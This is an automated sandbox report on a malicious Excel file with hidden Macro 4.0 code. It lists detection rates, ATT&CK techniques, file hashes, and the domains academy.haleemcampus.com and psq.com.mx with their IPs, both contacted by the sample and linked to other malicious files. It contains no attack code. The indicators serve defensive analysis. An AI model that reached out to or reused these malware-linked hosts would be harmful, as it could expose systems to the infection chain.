Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Yara detected hidden Macro 4.0 in Excel

Show sources

Source: Yara match

File source: statistic-1496367785.xls, type: SAMPLE

Source: Yara match

File source: statistic-1496367785.xls, type: SAMPLE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Scripting2	Path Interception	Process Injection1	Masquerading1	OS Credential Dumping	File and Directory Discovery1	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	Encrypted Channel2	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Exploitation for Client Execution23	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Disable or Modify Tools1	LSASS Memory	System Information Discovery2	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Non-Application Layer Protocol1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Rundll321	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Application Layer Protocol2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection1	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Scripting2	LSA Secrets	Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
statistic-1496367785.xls	38%	Virustotal		Browse
statistic-1496367785.xls	35%	ReversingLabs	Document-Excel.Trojan.Woreflint

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
academy.haleemcampus.com	108.179.232.80	true	false		unknown
psq.com.mx	162.241.2.112	true	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check	rundll32.exe, 00000003.00000002.2342442297.0000000001E27000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2337877607.0000000001CA7000.00000002.00000001.sdmp	false		high
http://www.windows.com/pctv.	rundll32.exe, 00000005.00000002.2337705757.0000000001AC0000.00000002.00000001.sdmp	false		high
http://investor.msn.com	rundll32.exe, 00000003.00000002.2342252530.0000000001C40000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2337705757.0000000001AC0000.00000002.00000001.sdmp	false		high
http://www.msnbc.com/news/ticker.txt	rundll32.exe, 00000003.00000002.2342252530.0000000001C40000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2337705757.0000000001AC0000.00000002.00000001.sdmp	false		high
http://www.icra.org/vocabulary/.	rundll32.exe, 00000003.00000002.2342442297.0000000001E27000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2337877607.0000000001CA7000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	rundll32.exe, 00000003.00000002.2342442297.0000000001E27000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2337877607.0000000001CA7000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.hotmail.com/oe	rundll32.exe, 00000003.00000002.2342252530.0000000001C40000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2337705757.0000000001AC0000.00000002.00000001.sdmp	false		high
http://investor.msn.com/	rundll32.exe, 00000003.00000002.2342252530.0000000001C40000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2337705757.0000000001AC0000.00000002.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
108.179.232.80	academy.haleemcampus.com	United States		46606	UNIFIEDLAYER-AS-1US	false
162.241.2.112	psq.com.mx	United States		26337	OIS1US	false

General Information

Joe Sandbox Version:	32.0.0 Black Diamond
Analysis ID:	441923
Start date:	29.06.2021
Start time:	17:39:41
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	statistic-1496367785.xls
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal80.expl.evad.winXLS@5/13@2/2
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xls Found Word or Excel or PowerPoint or XPS Viewer Found warning dialog Click Ok Attach to Office via COM
Warnings:	Show All Max analysis timeout: 220s exceeded, the analysis took too long Exclude process from analysis (whitelisted): dllhost.exe, svchost.exe Excluded IPs from analysis (whitelisted): 91.199.212.52, 13.107.4.50, 93.184.221.240, 192.35.177.64 Excluded domains from analysis (whitelisted): wu.ec.azureedge.net, ctldl.windowsupdate.com, c-0001.c-msedge.net, Edge-Prod-FRA.env.au.au-msedge.net, wu.azureedge.net, afdap.au.au-msedge.net, au.au-msedge.net, crt.usertrust.com, audownload.windowsupdate.nsatc.net, cs11.wpc.v0cdn.net, hlb.apr-52dd2-0.edgecastdns.net, apps.digsigtrust.com, au.c-0001.c-msedge.net, elasticShed.au.au-msedge.net, wu.wpc.apr-52dd2.edgecastdns.net, au-bg-shim.trafficmanager.net, apps.identrust.com Report size getting too big, too many NtDeviceIoControlFile calls found.

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
108.179.232.80	33c179ca_by_Libranalysis.xls	Get hash	malicious	Browse
	33c179ca_by_Libranalysis.xls	Get hash	malicious	Browse
	7fb953aa_by_Libranalysis.xls	Get hash	malicious	Browse
	7fb953aa_by_Libranalysis.xls	Get hash	malicious	Browse
	statistic-462462953.xls	Get hash	malicious	Browse
	statistic-462462953.xls	Get hash	malicious	Browse
	statistic-1403316517.xls	Get hash	malicious	Browse
	statistic-1403316517.xls	Get hash	malicious	Browse
	statistic-260077031.xls	Get hash	malicious	Browse
	statistic-260077031.xls	Get hash	malicious	Browse
	5c89f585_by_Libranalysis.xls	Get hash	malicious	Browse
	5c89f585_by_Libranalysis.xls	Get hash	malicious	Browse
	statistic-1066846651.xls	Get hash	malicious	Browse
	statistic-1066846651.xls	Get hash	malicious	Browse
162.241.2.112	33c179ca_by_Libranalysis.xls	Get hash	malicious	Browse
	33c179ca_by_Libranalysis.xls	Get hash	malicious	Browse
	7fb953aa_by_Libranalysis.xls	Get hash	malicious	Browse
	7fb953aa_by_Libranalysis.xls	Get hash	malicious	Browse
	statistic-462462953.xls	Get hash	malicious	Browse
	statistic-462462953.xls	Get hash	malicious	Browse
	statistic-1403316517.xls	Get hash	malicious	Browse
	statistic-1403316517.xls	Get hash	malicious	Browse
	statistic-260077031.xls	Get hash	malicious	Browse
	statistic-260077031.xls	Get hash	malicious	Browse
	5c89f585_by_Libranalysis.xls	Get hash	malicious	Browse
	5c89f585_by_Libranalysis.xls	Get hash	malicious	Browse
	statistic-1066846651.xls	Get hash	malicious	Browse
	statistic-1066846651.xls	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
psq.com.mx	33c179ca_by_Libranalysis.xls	Get hash	malicious	Browse	162.241.2.112
	33c179ca_by_Libranalysis.xls	Get hash	malicious	Browse	162.241.2.112
	7fb953aa_by_Libranalysis.xls	Get hash	malicious	Browse	162.241.2.112
	7fb953aa_by_Libranalysis.xls	Get hash	malicious	Browse	162.241.2.112
	statistic-462462953.xls	Get hash	malicious	Browse	162.241.2.112
	statistic-462462953.xls	Get hash	malicious	Browse	162.241.2.112
	statistic-1403316517.xls	Get hash	malicious	Browse	162.241.2.112
	statistic-1403316517.xls	Get hash	malicious	Browse	162.241.2.112
	statistic-260077031.xls	Get hash	malicious	Browse	162.241.2.112
	statistic-260077031.xls	Get hash	malicious	Browse	162.241.2.112
	5c89f585_by_Libranalysis.xls	Get hash	malicious	Browse	162.241.2.112
	5c89f585_by_Libranalysis.xls	Get hash	malicious	Browse	162.241.2.112
	statistic-1066846651.xls	Get hash	malicious	Browse	162.241.2.112
	statistic-1066846651.xls	Get hash	malicious	Browse	162.241.2.112
academy.haleemcampus.com	33c179ca_by_Libranalysis.xls	Get hash	malicious	Browse	108.179.232.80
	33c179ca_by_Libranalysis.xls	Get hash	malicious	Browse	108.179.232.80
	7fb953aa_by_Libranalysis.xls	Get hash	malicious	Browse	108.179.232.80
	7fb953aa_by_Libranalysis.xls	Get hash	malicious	Browse	108.179.232.80
	statistic-462462953.xls	Get hash	malicious	Browse	108.179.232.80
	statistic-462462953.xls	Get hash	malicious	Browse	108.179.232.80
	statistic-1403316517.xls	Get hash	malicious	Browse	108.179.232.80
	statistic-1403316517.xls	Get hash	malicious	Browse	108.179.232.80
	statistic-260077031.xls	Get hash	malicious	Browse	108.179.232.80
	statistic-260077031.xls	Get hash	malicious	Browse	108.179.232.80
	5c89f585_by_Libranalysis.xls	Get hash	malicious	Browse	108.179.232.80
	5c89f585_by_Libranalysis.xls	Get hash	malicious	Browse	108.179.232.80
	statistic-1066846651.xls	Get hash	malicious	Browse	108.179.232.80
	statistic-1066846651.xls	Get hash	malicious	Browse	108.179.232.80

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
OIS1US	Purchase Order.exe	Get hash	malicious	Browse	162.241.85.212
	DHL DOCUMENTS.exe	Get hash	malicious	Browse	162.241.85.210
	New_PO#98202139.xll	Get hash	malicious	Browse	162.241.2.66
	Payment_Swift00987.exe	Get hash	malicious	Browse	162.241.2.50
	Payment_Advice.exe	Get hash	malicious	Browse	162.241.2.50
	PO#8076.exe	Get hash	malicious	Browse	162.241.2.239
	New_Order.xll	Get hash	malicious	Browse	162.241.2.66
	PO36782110.xll	Get hash	malicious	Browse	162.241.2.66
	Product_Inquiry.xll	Get hash	malicious	Browse	162.241.2.66
	Request for quotation,PDF.exe	Get hash	malicious	Browse	162.241.203.147
	Request for quotation,PDF.exe	Get hash	malicious	Browse	162.241.203.147
	CARGO ARRIVAL NOTICE-MEDICOM AWB.exe	Get hash	malicious	Browse	162.241.85.231
	Payment_Advice.exe	Get hash	malicious	Browse	162.241.2.50
	ZRvY1UrHuF.xls	Get hash	malicious	Browse	162.241.203.185
	PO_no52071.exe	Get hash	malicious	Browse	162.241.2.122
	33c179ca_by_Libranalysis.xls	Get hash	malicious	Browse	162.241.2.112
	33c179ca_by_Libranalysis.xls	Get hash	malicious	Browse	162.241.2.112
	7fb953aa_by_Libranalysis.xls	Get hash	malicious	Browse	162.241.2.112
	7fb953aa_by_Libranalysis.xls	Get hash	malicious	Browse	162.241.2.112
	statistic-462462953.xls	Get hash	malicious	Browse	162.241.2.112
UNIFIEDLAYER-AS-1US	4dvYb6Nq3y.exe	Get hash	malicious	Browse	50.87.238.189
	Remittance.xls	Get hash	malicious	Browse	162.241.120.180
	SecuriteInfo.com.Trojan.Win32.Save.a.27842.exe	Get hash	malicious	Browse	192.185.164.148
	SEOCHANG INDUSTRY Co., Ltd..exe	Get hash	malicious	Browse	162.241.24.206
	7R9igRpuL4.msi	Get hash	malicious	Browse	192.185.0.218
	nxinF8KuKS.exe	Get hash	malicious	Browse	192.185.16.56
	242jQP4mQP.exe	Get hash	malicious	Browse	50.87.248.20
	Halkbank.exe	Get hash	malicious	Browse	192.185.0.218
	HBenKsn2R8.exe	Get hash	malicious	Browse	96.125.162.104
	DC Viet Nam Order list 6-25-21.exe	Get hash	malicious	Browse	162.144.0.158
	Minutes of Meeting 22062021.exe	Get hash	malicious	Browse	108.167.156.42
	plan-1053707320.xlsb	Get hash	malicious	Browse	50.116.92.246
	plan-1053707320.xlsb	Get hash	malicious	Browse	50.116.92.246
	factura y factura de la v#U00eda a#U00e9rea.exe	Get hash	malicious	Browse	74.220.199.6
	T5gtQGRL8u.exe	Get hash	malicious	Browse	162.241.135.156
	PO 74230360.xlsb	Get hash	malicious	Browse	162.241.114.107
	PO 74230360.xlsb	Get hash	malicious	Browse	162.241.114.107
	PO 74230360.xlsb	Get hash	malicious	Browse	162.241.114.107
	plan-930205822.xlsb	Get hash	malicious	Browse	50.116.92.246
	7UXBXIr31E.exe	Get hash	malicious	Browse	192.185.198.10

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
7dcce5b76c8b17472d024758970a406b	New Purchase Order Air Shipment,pdf.pps	Get hash	malicious	Browse	108.179.232.80 162.241.2.112
	Scan8378 CTIMAIL3.xlsx	Get hash	malicious	Browse	108.179.232.80 162.241.2.112
	BNK1135000001.docx	Get hash	malicious	Browse	108.179.232.80 162.241.2.112
	Wilson-McShane Corporation ACH.xlsx	Get hash	malicious	Browse	108.179.232.80 162.241.2.112
	PO20210628.xlsx	Get hash	malicious	Browse	108.179.232.80 162.241.2.112
	PO 33015.doc	Get hash	malicious	Browse	108.179.232.80 162.241.2.112
	SecuriteInfo.com.Exploit.Rtf.Obfuscated.16.18008.rtf	Get hash	malicious	Browse	108.179.232.80 162.241.2.112
	Wilson-McShane Corporation ACH.xlsx	Get hash	malicious	Browse	108.179.232.80 162.241.2.112
	PO20210624.doc	Get hash	malicious	Browse	108.179.232.80 162.241.2.112
	order-0798.doc	Get hash	malicious	Browse	108.179.232.80 162.241.2.112
	dridexxx.xlsb	Get hash	malicious	Browse	108.179.232.80 162.241.2.112
	vessel arrival notice.docx	Get hash	malicious	Browse	108.179.232.80 162.241.2.112
	sf0X1hMF0g.doc	Get hash	malicious	Browse	108.179.232.80 162.241.2.112
	sf0X1hMF0g.doc	Get hash	malicious	Browse	108.179.232.80 162.241.2.112
	Wilson-McShane Corporation ACH.xlsx	Get hash	malicious	Browse	108.179.232.80 162.241.2.112
	Bulk Order-0798.doc	Get hash	malicious	Browse	108.179.232.80 162.241.2.112
	PO20210624.xlsx	Get hash	malicious	Browse	108.179.232.80 162.241.2.112
	Quote Requirment R2106131401 .docx	Get hash	malicious	Browse	108.179.232.80 162.241.2.112
	h2GeNTLcFz.xls	Get hash	malicious	Browse	108.179.232.80 162.241.2.112
	Purchase Order.doc	Get hash	malicious	Browse	108.179.232.80 162.241.2.112

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Microsoft Cabinet archive data, 61020 bytes, 1 file
Category:	dropped
Size (bytes):	61020
Entropy (8bit):	7.994886945086499
Encrypted:	true
SSDEEP:	1536:IZ/FdeYPeFusuQszEfL0/NfXfdl5lNQbGxO4EBJE:0tdeYPiuWAVtlLBGm
MD5:	2902DE11E30DCC620B184E3BB0F0C1CB
SHA1:	5D11D14A2558801A2688DC2D6DFAD39AC294F222
SHA-256:	E6A7F1F8810E46A736E80EE5AC6187690F28F4D5D35D130D410E20084B2C1544
SHA-512:	EFD415CDE25B827AC2A7CA4D6486CE3A43CDCC1C31D3A94FD7944681AA3E83A4966625BF2E6770581C4B59D05E35FF9318D9ADADDADE9070F131076892AF2FA0
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	MSCF....\.......,...................I........l.........R.q .authroot.stl.N....5..CK..8T....c_.d....A.K....=.D.eWI..r."Y...."i..,.=.l.D.....3...3WW.......y...9..w..D.yM10....`.0.e.._.'..a0xN....)F.C..t.z.,.O20.1``L.....m?H..C..X>Oc..q.....%.!^v%<...O...-..@/.......H.J.W...... T...Fp..2.\|$....._Y..Y`&..s.1........s.{..,.":o}9.......%._.xWS.K..4"9......q.G:.........a.H.y.. ..r...q./6.p.;.`=.Dwj......!......s).B..y.......A.!W.........D!s0..!"X...l.....D0...........Ba...Z.0.o..l.3.v..W1F hSp.S)@.....'Z..QW...G...G.G.y+.x...aa`.3..X&4E..N...._O..<X.......K...xm..+M...O.H...)............o..~4.6.......p.`Bt.(..V.N.!.p.C>..%.ySXY.>.`..f\|....'^K`\..e......j/..\|..)..&i...wEj.w...o..r<.$.....C.....}.x...L..&..).r..\...>....v........7...^..L!.$..'m...,.....7F$..~..S.6$S.-y....\|.!.....x...~k...Q/.w.e...h.[...9<x...Q.x.][}_%Z..K.).3..'....M.6QkJ.N........Y..Q.n.[.(.... ...Bg..33..[...S..[... .Z..<i.-.]...po.k.,...X6......y3^.t[.Dw.]ts. R..L..`..ut_F....

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E0968A1E3A40D2582E7FD463BAEB59CD Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	1413
Entropy (8bit):	7.480496427934893
Encrypted:	false
SSDEEP:	24:yYvJm3RW857Ij3kTteTuQRFjGgZLE5XBy9+JYSE19rVAVsGnyI3SKB7:PL854TTuQL/ZoXQ9+mrGVrb3R
MD5:	285EC909C4AB0D2D57F5086B225799AA
SHA1:	D89E3BD43D5D909B47A18977AA9D5CE36CEE184C
SHA-256:	68B9C761219A5B1F0131784474665DB61BBDB109E00F05CA9F74244EE5F5F52B
SHA-512:	4CF305B95F94C7A9504C53C7F2DC8068E647A326D95976B7F4D80433B2284506FC5E3BB9A80A4E9A9889540BBF92908DD39EE4EB25F2566FE9AB37B4DC9A7C09
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	0...0..i.......9rD:.".Q..l..15.0....H........0{1.0...U....GB1.0...U....Greater Manchester1.0...U....Salford1.0...U....Comodo CA Limited1!0...U....AAA Certificate Services0...190312000000Z..281231235959Z0..1.0...U....US1.0...U....New Jersey1.0...U....Jersey City1.0...U....The USERTRUST Network1.0,..U...%USERTrust RSA Certification Authority0.."0....H.............0..........e.6......W.v..'.L.P.a. M.-d.....=.........{7(.+G.9.:.._..}..cB.v.;+...o... ..>..t.....bd......j."<......{......Q..gF.Q..T?.3.~l......Q.5..f.rg.!f..x..P:.....L....5.WZ....=.,..T....:M.L..\... =.."4.~;hf.D..NFS.3`...S7.sC.2.S...tNi.k.`.......2..;Qx.g..=V...i....%&k3m.nG.sC.~..f.)\|2.cU.....T0....}7..]:l5\.A...I......b..f.%....?.9......L.\|.k..^...g.....[..L..[...s.#;-..5Ut.I.IX...6.Q...&}.M....C&.A_@.DD...W..P.WT.>.tc/.Pe..XB.C.L..%GY.....&FJP...x..g...W...c..b.._U..\.(..%9..+..L...?.R.../..........0..0...U.#..0......#>.....)...0..0...U......Sy.Z.+J.T.......f.0...U...........0...U.......0....0...U

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E0F5C59F9FA661F6F4C50B87FEF3A15A Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	893
Entropy (8bit):	7.366016576663508
Encrypted:	false
SSDEEP:	24:hBntmDvKUQQDvKUr7C5fpqp8gPvXHmXvponXux:3ntmD5QQD5XC5RqHHXmXvp++x
MD5:	D4AE187B4574036C2D76B6DF8A8C1A30
SHA1:	B06F409FA14BAB33CBAF4A37811B8740B624D9E5
SHA-256:	A2CE3A0FA7D2A833D1801E01EC48E35B70D84F3467CC9F8FAB370386E13879C7
SHA-512:	1F44A360E8BB8ADA22BC5BFE001F1BABB4E72005A46BC2A94C33C4BD149FF256CCE6F35D65CA4F7FC2A5B9E15494155449830D2809C8CF218D0B9196EC646B0C
Malicious:	false
Reputation:	high, very likely benign file
Preview:	0..y...H.........j0..f...1.0....H.........N0..J0..2.......D....'..09...@k0....H........0?1$0"..U....Digital Signature Trust Co.1.0...U....DST Root CA X30...000930211219Z..210930140115Z0?1$0"..U....Digital Signature Trust Co.1.0...U....DST Root CA X30.."0....H.............0..........P..W..be......,k0.[...}.@......3vI.?!I..N..>H.e...!.e..2....w..{........s.z..2..~..0....8.y.1.P..e.Qc...a.Ka..Rk...K.(.H......>.... .[.....p....%.tr.{j.4.0...h.{T....Z...=d.....Ap..r.&.8U9C....\@........%.......:..n.>..\..<.i.....)W..=....]......B0@0...U.......0....0...U...........0...U.........{,q...K.u...`...0....H...............,...\...(f7:...?K.... ]..YD.>.>..K.t.....t..~.....K. D....}..j.....N..:.pI...........:^H...X._..Z.....Y..n......f3.Y[...sG.+..7H..VK....r2...D.SrmC.&H.Rg.X..gvqx...V..9$1....Z0G..P.......dc`........}...=2.e..\|.Wv..(9..e...w.j..w.......)...55.1.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	326
Entropy (8bit):	3.1368898392817663
Encrypted:	false
SSDEEP:	6:kKBMc3CdoW+N+SkQlPlEGYRMY9z+4KlDA3RUeIlD1Ut:q5kPlE99SNxAhUe0et
MD5:	5887C271965F719C89333C6163140C6D
SHA1:	CCC64032064157F9FFB5E4029658F2E54DBBE718
SHA-256:	41837F6E53AA0BFA346A01BC4097C81ADFB00AEE7C9980E2AFCEEDD875EA0C3E
SHA-512:	73F63D09327D62C58E80ECB52730FEE802D638DB419C5B0AC372ED55511C637CA00E597500E11E73A5131D1DF5BD6FD34DDAA681FD3DE3656D17A6DE4D05F064
Malicious:	false
Reputation:	low
Preview:	p...... .........k.Hm..(....................................................... .........T'._......$...........\...h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".0.d.6.5.4.2.7.7.5.f.d.7.1.:.0."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E0968A1E3A40D2582E7FD463BAEB59CD Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	250
Entropy (8bit):	2.969287375524799
Encrypted:	false
SSDEEP:	3:kkFklNlutI9l1fllXlE/lQcjT18tlwiANjpU+plgh3VEkax3QbaLU15lqErtd9lm:kKfIHUQAbjMulgokaWbLOW+n
MD5:	22E86CEB0C5CC0960981167FFA58E3FD
SHA1:	6AACE3A60A040C637E47DE3693BE9238DCF03A60
SHA-256:	F8E8C226C714E1209B320FDD083890D545C0917173287C8CF4B653DA4BA0E3A2
SHA-512:	573813E03478AFBBB56B3BDA9E4324008953984262FC9D9B21AAEE41DEF08E4DC28F132DE592BB40E4790D6EA2982A62419A2B8918C65B9D1BE49694CC82926F
Malicious:	false
Reputation:	low
Preview:	p...... ....h.......Hm..(....................................................... .........(.f...@8..................h.t.t.p.:././.c.r.t...u.s.e.r.t.r.u.s.t...c.o.m./.U.S.E.R.T.r.u.s.t.R.S.A.A.d.d.T.r.u.s.t.C.A...c.r.t...".5.c.8.6.f.6.8.0.-.5.8.5."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E0F5C59F9FA661F6F4C50B87FEF3A15A Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	modified
Size (bytes):	252
Entropy (8bit):	2.9725205059056137
Encrypted:	false
SSDEEP:	3:kkFklxb8vfllXlE/2S+HDHllPlzRkwWBARLNDU+ZMlKlBkvclcMlVHblB1yR57d3:kK8+HDXliBAIdQZV7QvB
MD5:	1F793405F9FC9C81BBC7F99C7F5A8BDF
SHA1:	840F15829F9F926B3164AB9E8CBE2DFFDD519A37
SHA-256:	9E8D613136A5D033EEA184928671C325E5599AEB9D4B5BBB97AADA7BE3E6D38B
SHA-512:	08F1BC737857FA50D090FAD3297D8B54985FA61B97E190A0B3456EE4865DF097A0DCF6CEC56BDAA86B41CED1A291F826EE2CC51ABF2F2F3D318014684A49CE7F
Malicious:	false
Reputation:	low
Preview:	p...... ....`....p.Hm..(....................................................... ........S`..b......(...........}...h.t.t.p.:././.a.p.p.s...i.d.e.n.t.r.u.s.t...c.o.m./.r.o.o.t.s./.d.s.t.r.o.o.t.c.a.x.3...p.7.c...".3.7.d.-.5.c.4.d.2.e.5.9.c.f.b.8.0."...

C:\Users\user\AppData\Local\Temp\BACE0000 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	83002
Entropy (8bit):	7.898463614612142
Encrypted:	false
SSDEEP:	1536:oAGiMCBgFqO57Lav5F/U2SiwFNNWJsRE5vxjTIJv3R7:o04qO5PWzUWwhWISHIJv3R7
MD5:	95886F5C23351447BEE438643BB47432
SHA1:	E883CB7D47EDA8D717A9E5BEFBE2FC07A5466A48
SHA-256:	133BED2878DC1421701EFD5F935ECA31E278507D75D2C629A2349DC39CCAAC6F
SHA-512:	B1EA92BD35BA10F463F813DB2CB977E6818D8E87DCAA470F8B3573D6DD3FA6F85A41F54C05E81357D17E8CD84FD68BB960098E496AAA7DADACFD11B5107A26FC
Malicious:	false
Reputation:	low
Preview:	.U.n.0....?......(..r.izL.$...\K....I..V..p,;....vfvH...+k.G...k.Y3a.8.v].~.......pJ..ek@v1..iz....U;lY.R..9......p4...D...A..O&....Ku..l6....`Ru....v...\|..Z&B0Z.DB..S;$._,....%..C....H.4!jb.w..5.........6k...+"..)..9..Pei.{......C.y....0j....ZXr.....q9.~....fZ.a%.4.......s.4'.{Vx..T"/..#(..$../wR.Gt...Zqs..m.../.k......~.]...x..}=........~N.:..1.^DPw.b.{w..b..PQ<e.\|xx....!^.....R,G8...D..u .I.6..%....t...\|h(P{.y9.f........PK..........!.[:..............[Content_Types].xml ...(................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CabD3B5.tmp Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Microsoft Cabinet archive data, 61020 bytes, 1 file
Category:	dropped
Size (bytes):	61020
Entropy (8bit):	7.994886945086499
Encrypted:	true
SSDEEP:	1536:IZ/FdeYPeFusuQszEfL0/NfXfdl5lNQbGxO4EBJE:0tdeYPiuWAVtlLBGm
MD5:	2902DE11E30DCC620B184E3BB0F0C1CB
SHA1:	5D11D14A2558801A2688DC2D6DFAD39AC294F222
SHA-256:	E6A7F1F8810E46A736E80EE5AC6187690F28F4D5D35D130D410E20084B2C1544
SHA-512:	EFD415CDE25B827AC2A7CA4D6486CE3A43CDCC1C31D3A94FD7944681AA3E83A4966625BF2E6770581C4B59D05E35FF9318D9ADADDADE9070F131076892AF2FA0
Malicious:	false
Reputation:	moderate, very likely benign file
